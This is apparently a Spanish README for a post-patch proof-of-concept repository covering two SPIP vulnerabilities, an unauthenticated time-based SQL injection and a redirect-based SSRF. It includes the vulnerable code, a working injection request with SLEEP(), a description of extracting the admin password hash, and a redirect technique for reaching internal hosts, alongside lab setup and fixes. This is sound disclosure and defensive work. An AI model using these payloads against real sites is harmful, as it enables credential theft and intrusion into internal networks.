
PoC para CVE-2026-72708 (SQLi ciega) y CVE-2026-109378 (SSRF) en SPIP, ambas corregidas en 4.4.18
Material de prueba de concepto reproducible para dos vulnerabilidades que reporté en SPIP, ambas corregidas en la 4.4.18.
| CVE | Clase | Autenticación | CVSS 4.0 | Sink |
|---|---|---|---|---|
| CVE-2026-72708 | Inyección SQL ciega (CWE-89) | ninguna | 8.7 Alta | ecrire/req/mysql.php:1730 |
| CVE-2026-109378 | SSRF mediante redirección HTTP (CWE-918) | baja | 5.3 Media | ecrire/inc/distant.php:567-582 |
Ambas fueron reportadas a [email protected] el 2026-08-05. SPIP publicó la corrección en
la 4.4.18 el 2026-08-10. Este material se publica después del parche, que es
precisamente el motivo de publicarlo.
Todo lo que hay aquí se ejecuta contra un laboratorio local desechable vinculado a
127.0.0.1. No lo apuntes a un host que no sea tuyo.
spip_mysql_cite() devuelve un valor sin comillas cuando la columna de destino es de
tipo fecha y el valor coincide con /^\w+\(/:
} elseif (sql_test_date($type) and preg_match('/^\w+\(/', $v)) {
return $v;
}
La regex estaba pensada para dejar pasar NOW() como una llamada a función en lugar de una cadena. Comprueba la forma de una llamada a función, no su nombre, por lo que SLEEP(5), IF(...) y UPDATEXML(...) también la satisfacen.
El sink alcanzable es el criterio {annee?} de squelettes-dist/sitemap.xml.html, que se incluye en todas las instalaciones y se compara con una columna datetime. El sitemap es público, por lo que no se necesita ninguna cuenta:
GET /spip.php?page=sitemap.xml&annee=IF(1,SLEEP(5),0)
Ejecútalo:
bash CVE-2026-72708-sqli/poc_sqli.sh
El script demuestra el sink, muestra el retardo que sigue al argumento de SLEEP(),
y luego recupera los primeros doce caracteres del hash de la contraseña del admin mediante un
oráculo de temporización puro y verifica el resultado contra la base de datos.
SLEEP() inyectado vive en una cláusula
WHERE, que MySQL evalúa por fila. Con cero artículos nunca se dispara.
lab/seed.sh inserta un artículo publicado.&z=<random>) a cada repetición. El script ya lo hace.SPIP tiene una protección SSRF genuinamente buena, valider_url_distante(): lista blanca
de esquemas, rangos privados y reservados, link-local, DNS rebinding, URLs con
credenciales. Los llamadores la ejecutan antes de realizar la petición.
recuperer_url() luego sigue hasta diez redirecciones, y nunca revalida el
objetivo que está a punto de solicitar:
$url = suivre_lien($url, $res['location']); // 571, attacker controlled
// ... method adjustment, a log line ...
return recuperer_url($url, $options); // 582, fetched
Un 302 de un host que pasa la validación entra directamente en cualquier cosa que el guard estuviera diseñado para bloquear, 169.254.169.254 incluido.
Ejecútalo:
docker exec -w /var/www/html spiplab-app php /tmp/poc_ssrf.php
El script muestra al guard rechazando correctamente siete URLs hostiles, luego obtiene una de esas URLs exactas a través de una redirección e imprime el contenido de vuelta.
cd lab
docker compose up -d # SPIP 4.4.16 + MariaDB, bound to 127.0.0.1:8888
sleep 40 # auto install
bash seed.sh # one published article, clears the page cache
La base de datos no tiene puerto de host. El contenedor web escucha únicamente en loopback.
Desmóntalo con docker compose down -v.
Para ejercitar la ruta SSRF también necesitas el redirector de sustitución y un servicio solo interno:
docker cp redir.php spiplab-app:/var/www/html/redir.php
docker exec spiplab-app sh -c 'mkdir -p /tmp/internal && \
echo "INTERNAL-SERVICE-SECRET-7f3a9c2e" > /tmp/internal/secret.txt && \
(setsid nohup php -S 0.0.0.0:9001 -t /tmp/internal >/tmp/internal/srv.log 2>&1 &)'
redir.php solo emite un 302 a lo que diga ?to=. En un ataque real ese papel
lo desempeña un host público que el guard acepta sin problemas.
requests/ en cada directorio contiene los intercambios HTTP en bruto capturados
durante las ejecuciones anteriores, un .req y un .res por paso. Pega un .req en
Burp Repeater tal cual.
Para el SQLi, el par interesante es sqli-03-oracle-true (2.051 s) frente a
sqli-04-oracle-false (0.049 s): la misma pregunta, el umbral movido en uno, y la
respuesta es la diferencia en el tiempo de respuesta. Los cuerpos son idénticos.
Para el SSRF, ssrf-02-internal-hits.log es el log de acceso del servicio
interno, que muestra a SPIP llegando a un host que acababa de rechazar resolver.
Inyección SQL, reemplaza la regex laxa por una lista blanca:
} elseif (sql_test_date($type) and preg_match(
'/^(NOW|CURDATE|CURTIME|CURRENT_TIMESTAMP|CURRENT_DATE|CURRENT_TIME|UTC_DATE|UTC_TIME|UTC_TIMESTAMP)\s*\(\s*\)$/i',
$v
)) {
Aplica el mismo cambio a ecrire/req/sqlite_generique.php.
SSRF, valida el destino de la redirección antes de seguirla:
$url = suivre_lien($url, $res['location']);
if (!valider_url_distante($url)) {
spip_log("SSRF: blocked redirect to $url", 'distant' . _LOG_ERREUR);
return false;
}
return recuperer_url($url, $options);
O simplemente actualice a 4.4.18, que contiene ambos.
CVE-2026-72708 fue codescubierto de forma independiente por Franck Chevalier (Wayko) de Lexfo / Ambionics, quien encontró el mismo sink, el mismo punto de entrada no autenticado, y construyó las cadenas completas hasta la ejecución remota de código a través de CVE-2026-72709 y CVE-2026-72710. Su writeup es el documento técnico más profundo y sus herramientas están en ambionics/spip-exploits.
CVE-2026-109378 fue reportado en solitario.
MIT. Publicado para defensores, auditores y cualquiera que quiera entender por qué una expresión regular de quince caracteres terminó valiendo 8.7 puntos.
-- ka3n1x